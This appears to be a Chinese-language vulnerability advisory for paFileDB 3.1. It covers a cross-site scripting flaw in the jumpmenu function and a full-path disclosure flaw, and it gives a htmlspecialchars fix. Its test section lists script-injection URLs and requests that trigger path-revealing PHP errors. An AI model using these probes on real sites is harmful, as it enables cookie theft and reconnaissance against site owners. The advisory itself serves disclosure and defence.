安全研究

安全漏洞
paFileDB多个安全漏洞

发布日期:2005-03-09
更新日期:2005-03-09

受影响系统:
PHP Arena paFileDB 3.1
描述:
BUGTRAQ  ID: 12758
CVE(CAN) ID: CVE-2005-0723,CVE-2005-0724

paFileDB是一款文件管理脚本,允许版主管理站点下载文件数据库,还可以编辑和删除文件。

paFileDB中存在一个跨站脚本漏洞和一个完整路径泄漏漏洞,攻击者可能利用这些漏洞获取敏感信息。

1 跨站脚本 - XSS:
============================

PaFileDB中存在XSS漏洞,起因是应用程序在向动态生成的WEB内容中加入用户输入之前没能正确的验证该输入。攻击者可以利用这个漏洞窃取cookies或执行其他浏览器正常跨域安全限制所不允许的操作。

有漏洞的代码:

/includes/functions.php

代码:
-------------------------------------------------------------------------------------- \
----------- function jumpmenu($db, $pageurl,$pafiledb_sql,$str) {
        echo("<form name=\"form1\">
        <select name=\"menu1\" onChange=\"MM_jumpMenu('parent',this,0)\" \
class=\"forminput\">  <option value=\"$pageurl\" selected>$str[jump]</option>
        <option value=\"$pageurl\">---------</option>");
.....
-------------------------------------------------------------------------------------- \
------------  
由于对$pageurl缺少充分过滤,可导致跨站脚本问题,攻击者借此可获得目标用户敏感信息。

2 完整路径泄漏
======================

脚本的完整路径必须保密,因为它可能导致对站点的攻击。如果攻击者知道了脚本的完整路径,就可以搜索其他文件夹中或有关站点服务器的更多信息,这样就可以入侵。
  
PaFileDB的许多脚本都可以直接访问,这会触发标准的php错误消息,导致完整路径泄漏。

另外直接请求http://[target]/[pafiledb_dir]/includes/viewall.php 也可导致返回带路径的错误信息。


<*来源:sp3x (sp3x@securityreason.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111031801802851&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

XSS:
----
http://[target]/[pafiledb_dir]/pafiledb.php?">&lt;script&gt;alert();&lt;/script&gt;
http://[target]/[pafiledb_dir]/pafiledb.php?action=">&lt;script&gt;alert();&lt;/script&gt;
http://[target]/[pafiledb_dir]/pafiledb.php?[something]=">&lt;script&gt;alert();&lt;/script&gt;
http://[target]/[pafiledb_dir]/pafiledb.php?[something]=&[something]=">&lt;script&gt;alert();&lt;/script&gt;  
等等。。

所以在不存在的变量中我们也可以输入XSS。

几乎所有的站点都存在这个XSS,因为pafiledb.php使用了jumpmenu函数。

完整路径泄漏:
--------------

http://[target]/[pafiledb_dir]/pafiledb.php?str=[something]

Error message :
---------------
=====================================
Fatal error: Cannot use assign-op operators with overloaded objects nor string \
offsets in /[patch to site]/public_html/pafiledb/lang/english.php on line 55
=====================================

http://[target]/[pafiledb_dir]/includes/viewall.php

Error message :
---------------
=====================================
Fatal error: Call to undefined function: locbar() in /patch to
site/public_html/pafiledb/includes/viewall.php on line 16
=====================================

http://[target]/[pafiledb_dir]/includes/stats.php
http://[target]/[pafiledb_dir]/includes/search.php
http://[target]/[pafiledb_dir]/includes/rate.php
http://[target]/[pafiledb_dir]/includes/main.php
http://[target]/[pafiledb_dir]/includes/license.php

Error message :
---------------
=====================================
Fatal error: Call to a member function on a non-object in /patch to
site/public_html/pafiledb/includes/license.php on line 12
=====================================

http://[target]/[pafiledb_dir]/includes/category.php
http://[target]/[pafiledb_dir]/includes/download.php
http://[target]/[pafiledb_dir]/includes/file.php
http://[target]/[pafiledb_dir]/includes/email.php
http://[target]/[pafiledb_dir]/includes/admin.php

Error message :
---------------
=====================================
Warning: main(./includes/admin/login.php): failed to open stream: No such file or \
                directory in
/home/phparena/public_html/demo/pafiledb/includes/admin.php on line 17

Warning: main(./includes/admin/login.php): failed to open stream: No such file or \
                directory in
/home/phparena/public_html/demo/pafiledb/includes/admin.php on line 17

Warning: main(): Failed opening './includes/admin/login.php' for inclusion
(include_path='.:/usr/lib/php:/usr/local/lib/php') in
/home/phparena/public_html/demo/pafiledb/includes/admin.php on line 17

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 对/includes/functions.php文件的jumpmenu函数添加:

$pageurl=htmlspecialchars($pageurl)

修改后的函数如下:

代码:
-------------------------------------------------------------------------------------- \
----------- function jumpmenu($db, $pageurl,$pafiledb_sql,$str) {
        $pageurl=htmlspecialchars($pageurl);    
        echo("<form name=\"form1\">
        <select name=\"menu1\" onChange=\"MM_jumpMenu('parent',this,0)\" \
class=\"forminput\">  <option value=\"$pageurl\" selected>$str[jump]</option>
        <option value=\"$pageurl\">---------</option>");
.....
-------------------------------------------------------------------------------------- \
------------  

下载新版的脚本或更新。

厂商补丁:

paFileDB
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phparena.net

浏览次数:2618
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障